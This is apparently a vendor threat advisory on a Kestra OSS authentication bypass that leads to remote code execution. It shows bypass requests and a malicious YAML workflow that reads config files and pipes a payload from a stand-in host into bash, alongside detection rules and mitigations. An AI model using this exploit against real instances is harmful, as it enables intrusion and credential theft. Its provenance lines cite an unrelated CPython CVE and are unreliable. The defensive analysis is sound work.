CVE-2026-49869: Authentication Bypass to Remote Code Execution in Kestra OSS via Path Suffix Whitelisting
HERMES THREAT SCORE & ORCHESTRATION ENGINE COMPROMISE
Target:Kestra OSS (Data & Workflow Orchestrator) CVSS v3.1 rates CVE-2026-49869 at 9.8 (Critical) and CVSS v4.0 at 10.0 (Critical). The Hermes Threat Score assigns 98 (CRITICAL). This alignment reflects zero-barrier unauthenticated exploitation: an attacker merely appends a whitelisted suffix to arbitrary API endpoints, injects arbitrary workflow definitions executing shell/Python tasks, and gains instant root container access on exposed orchestration infrastructure.
CVE-2026-49869: Authentication Bypass to Remote Code Execution in Kestra OSS via Path Suffix WhitelistingVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
π Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in CPython Interpreter & Standard Library documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
π Why is this related? (Evidence & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.
π Why is this related? (Evidence & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled β1. Technical Context & Affected Software MatrixβKestra is frequently deployed across Kubernetes clusters, cloud environments (AWS, GCP, Azure), and bare-metal servers to automate data pipelines, ETL workflows, and DevOps CI/CD jobs.
| Parameter | Technical Specification | Threat Context |
|---|---|---|
| CVE Identifier | CVE-2026-49869 | International tracking ID & CISA KEV entry |
| GHSA Identifier | GHSA-5vc5-wxxq-3fjx | GitHub Security Advisory |
| Vulnerable Component | kestra-core / AuthenticationFilter | Micron-based HTTP request interceptor |
| Network Vector | HTTP/HTTPS (Default port 8080/TCP) | Internet-facing Web UI and REST API |
| Root Cause | Insecure URL path suffix comparison (endsWith) | Path traversal / endpoint spoofing bypass |
| Affected Versions | < 1.0.45, 1.1.0 to < 1.3.21 | Production Kestra OSS instances |
| Fixed Versions | 1.0.45 and 1.3.21 | Official patch releases |
| Active Weaponization | Public PoCs & In-the-wild automated scanning | Mass reconnaissance and cryptominer drop |
2. In-Depth Technical Decomposition: Path Suffix Bypass & RCE
Section titled β2. In-Depth Technical Decomposition: Path Suffix Bypass & RCEβA. The Flawed Filter Implementation
Section titled βA. The Flawed Filter ImplementationβIn vulnerable Kestra builds, incoming HTTP requests pass through an authentication filter designed to enforce JWT or basic authorization headers unless the request targets open resources such as health checks or initial configuration parameters.
The vulnerable evaluation logic was implemented similar to:
// Vulnerable logic in Kestra AuthenticationFilterpublic boolean isAnonymousAccessAllowed(HttpRequest<?> request) { String path = request.getPath(); return path.equals("/api/v1/health") || path.endsWith("/configs") // Flaw: Any path ending with /configs passes! || path.startsWith("/ui/");}Because request.getPath().endsWith("/configs") does not anchor the path to the root or check query parameters strictly, an attacker can append /configs as an extra path segment, or invoke endpoints whose routing handles path parameters dynamically:
POST /api/v1/executions/webhook/prod/my-flow/configsPOST /api/v1/flows/configs HTTP/1.1Host: orchestrator.target.corp:8080Content-Type: application/x-yamlThe filter observes that the request URI terminates with /configs, categorizes the request as exempt from authentication, and forwards it down the Netty pipeline directly to the REST controllers.
+----------------------------------------------------------------------------------------------------+| CVE-2026-49869 ATTACK FLOW ARCHITECTURE |+----------------------------------------------------------------------------------------------------+
[Remote Adversary] [Kestra Server (Port 8080)] β β [1] ββββ HTTP POST /api/v1/flows/configs (No Auth Header) ββββββββββββββββββββββ>β AuthenticationFilter: β Payload: Malicious YAML workflow definition β Checks path.endsWith("/configs") β with io.kestra.plugin.scripts.shell.Commands β Result: TRUE -> Bypasses JWT auth! β β [2] β β Flow Controller: β β Registers new executable workflow β β "backdoor-runner" in namespace "default" β β [3] ββββ HTTP POST /api/v1/executions/default/backdoor-runner/configs ββββββββββ>β AuthenticationFilter: β Triggers instant asynchronous execution β Bypasses auth again! β β [4] β β Kestra Worker Container: β β Spawns task under root: β β /bin/sh -c "curl attacker/sh | sh" β β [5] β<βββ Reverse Shell / Command Output Stream ββββββββββββββββββββββββββββββββββ Container Compromised (UID 0) β β Cloud IAM / DB credentials stolen+----------------------------------------------------------------------------------------------------+B. Exploitation Weaponization & Workflow Construction
Section titled βB. Exploitation Weaponization & Workflow ConstructionβOnce authentication is bypassed, the attacker creates a workflow defining a shell script task. Because Kestra executes workflows with full container host access, arbitrary operating system binaries can be invoked directly:
id: pwned-workflownamespace: systemtasks: - id: shell_exec type: io.kestra.plugin.scripts.shell.Commands commands: - id - uname -a - cat /app/kestra.yml - curl -s http://198.51.100.42:8000/payload.sh | bashThe execution returns standard output directly in the execution response logs, providing full interactive command output back to the unauthenticated adversary.
3. Threat Intelligence, CISA KEV & Exploitation in the Wild
Section titled β3. Threat Intelligence, CISA KEV & Exploitation in the Wildβ- CISA KEV Addition: Added to the KEV catalog following widespread scanning by automated opportunistic botnets targeting port 8080.
- Threat Actor Targeting: Observed in automated botnet campaigns deploying XMRig Monero cryptominers, container escape toolkits, and harvesting cloud instance metadata tokens (
169.254.169.254). - Blast Radius: High. Organizations using Kestra typically store relational database connection strings, S3/GCS service account keys, and API tokens directly in Kestra secret stores, all of which are dumped upon container compromise.
4. MITRE ATT&CK Mapping
Section titled β4. MITRE ATT&CK Mappingβ| Tactic | Technique ID | Technique Name | Exploitation Manifestation |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | Remote HTTP request to exposed port 8080 |
| Defense Evasion | T1556 | Modify Authentication Process | Suffix spoofing to bypass AuthenticationFilter |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | Workflow execution via plugin-scripts-shell |
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation | Execution as container default root user |
| Credential Access | T1552.001 | Credentials in Files | Dumping Kestra secrets and environment variables |
5. Detection Engineering & Telemetry
Section titled β5. Detection Engineering & TelemetryβA. Suricata Network Detection Rule
Section titled βA. Suricata Network Detection Ruleβalert http any any -> $HTTP_SERVERS 8080 ( msg:"HERMES DEFENSE - Kestra OSS Auth Bypass Exploitation Attempt (CVE-2026-49869)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/configs"; endswith; http.uri; pcre:"/\/api\/v1\/(flows|executions)\/.*\/configs$/i"; classtype:web-application-attack; sid:202649869; rev:1; reference:cve,2026-49869;)B. Sigma Detection Rule
Section titled βB. Sigma Detection Ruleβtitle: Kestra OSS Authentication Bypass Endpoint Abuseid: a8b9c1d2-4986-4c22-b210-cve202649869status: productiondescription: Detects suspicious POST requests to Kestra API endpoints with /configs suffix bypassing authenticationauthor: Hermes Codex Cyber Defense Teamdate: 2026-09-11logsource: category: webserver service: kestra_access_logdetection: selection: cs_method: 'POST' cs_uri_stem|endswith: '/configs' cs_uri_stem|contains: - '/api/v1/flows' - '/api/v1/executions' filter_legit: cs_uri_stem: '/api/v1/configs' condition: selection and not filter_legitfields: - c_ip - cs_uri_stem - sc_statusfalsepositives: - Unknown custom scripts invoking legitimate configs sub-endpointslevel: criticaltags: - attack.initial_access - attack.t1190 - cve.2026.498696. DFIR Forensics, Artifacts & Hunting Queries
Section titled β6. DFIR Forensics, Artifacts & Hunting QueriesβForensics Indicators:
Section titled βForensics Indicators:β- HTTP Access Logs: Look for anomalous
POSTrequests to paths such as/api/v1/flows.../configsreturning200 OKor201 Createdwith no Authorization bearer header. - Kestra Internal Database / Repository: Query the
kestra_flowstable or storage backend for newly created workflows containingio.kestra.plugin.scripts. - Container Process Lineage: Examine Docker/Kubernetes container logs for unexpected child processes spawned under
java:Terminal window pstree -pa $(pgrep -f kestra)
Hunting Query (Elasticsearch / OpenSearch):
Section titled βHunting Query (Elasticsearch / OpenSearch):β{ "query": { "bool": { "must": [ { "term": { "http.request.method": "POST" } }, { "wildcard": { "url.path": "*\/api\/v1\/*\/configs" } } ], "must_not": [ { "term": { "url.path": "/api/v1/configs" } } ] } }}7. Mitigation & Remediation
Section titled β7. Mitigation & Remediationβ- Apply Official Patches: Upgrade Kestra OSS to version 1.0.45 (for v1.0.x branches) or 1.3.21 (for v1.x branches) immediately.
- Network Isolation: Restrict Kestra port 8080/TCP access to trusted internal IP ranges and VPN gateways; do not expose Kestra management interfaces directly to the public internet.
- Disable Unnecessary Script Plugins: If untrusted tenants use Kestra, enforce isolation runners (Docker-in-Docker isolation or Kubernetes runner with non-root security contexts) rather than default in-process worker execution.
- Secret Rotation: In case of suspected intrusion, immediately rotate all database credentials, cloud API keys, and notification webhook secrets stored in the Kestra environment.